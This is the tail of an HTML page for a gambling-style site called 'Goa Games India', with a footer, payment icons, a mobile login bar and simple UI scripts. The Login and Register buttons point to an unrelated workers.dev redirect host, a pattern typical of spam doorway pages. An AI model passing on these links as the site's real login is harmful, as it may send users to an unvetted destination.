                    <div class="flex gap-2 mb-4">
                        <i class="fab fa-cc-visa text-2xl text-gray-400"></i>
                        <i class="fab fa-cc-mastercard text-2xl text-gray-400"></i>
                        <i class="fas fa-university text-2xl text-gray-400"></i>
                        <i class="fab fa-bitcoin text-2xl text-gray-400"></i>
                    </div>
                    <p class="text-xs text-gray-500">18+ Only. Play responsibly.</p>
                </div>
            </div>
            
            <div class="border-t border-slate-800 pt-8 text-center">
                <p class="text-gray-500 text-sm">
                    &copy; 2025 Goa Games India. All Rights Reserved.
                </p>
            </div>
        </div>
    </footer>

    <!-- Fixed Bottom Actions for Mobile -->
    <div class="md:hidden fixed bottom-0 left-0 w-full bg-slate-900 border-t border-slate-700 p-3 z-50 flex gap-3">
        <a href="https://middle.noblewinchesterdih.workers.dev/" class="flex-1 bg-slate-700 text-white font-bold py-3 rounded-lg text-center">Login</a>
        <a href="https://middle.noblewinchesterdih.workers.dev/" class="flex-1 gold-bg text-slate-900 font-bold py-3 rounded-lg text-center">Register</a>
    </div>

    <script>
        // Tab Switching Logic
        function switchTab(tabId) {
            // Hide all content
            const contents = document.querySelectorAll('.guide-content');
            contents.forEach(content => content.classList.add('hidden'));

            // Show selected content
            document.getElementById(tabId + '-content').classList.remove('hidden');

            // Reset buttons
            const buttons = document.querySelectorAll('.tab-btn');
            buttons.forEach(btn => {
                btn.classList.remove('bg-yellow-500', 'text-slate-900', 'border-yellow-500');
                btn.classList.add('text-gray-300', 'border-slate-600');
            });

            // Highlight active button
            const activeBtn = event.currentTarget;
            activeBtn.classList.remove('text-gray-300', 'border-slate-600');
            activeBtn.classList.add('bg-yellow-500', 'text-slate-900', 'border-yellow-500');
        }

        // FAQ Toggle Logic
        function toggleFaq(id) {
            const el = document.getElementById(id);
            if (el.classList.contains('hidden')) {
                el.classList.remove('hidden');
            } else {
                el.classList.add('hidden');
            }
        }

        // Navbar Scroll Effect
        window.addEventListener('scroll', function() {
            const navbar = document.getElementById('navbar');
            if (window.scrollY > 50) {
                navbar.classList.add('shadow-lg');
                navbar.style.background = 'rgba(15, 23, 42, 0.95)';
            } else {
                navbar.classList.remove('shadow-lg');
                navbar.style.background = 'rgba(30, 41, 59, 0.7)';
            }
        });
    </script>
</body>
</html>
@ Telegram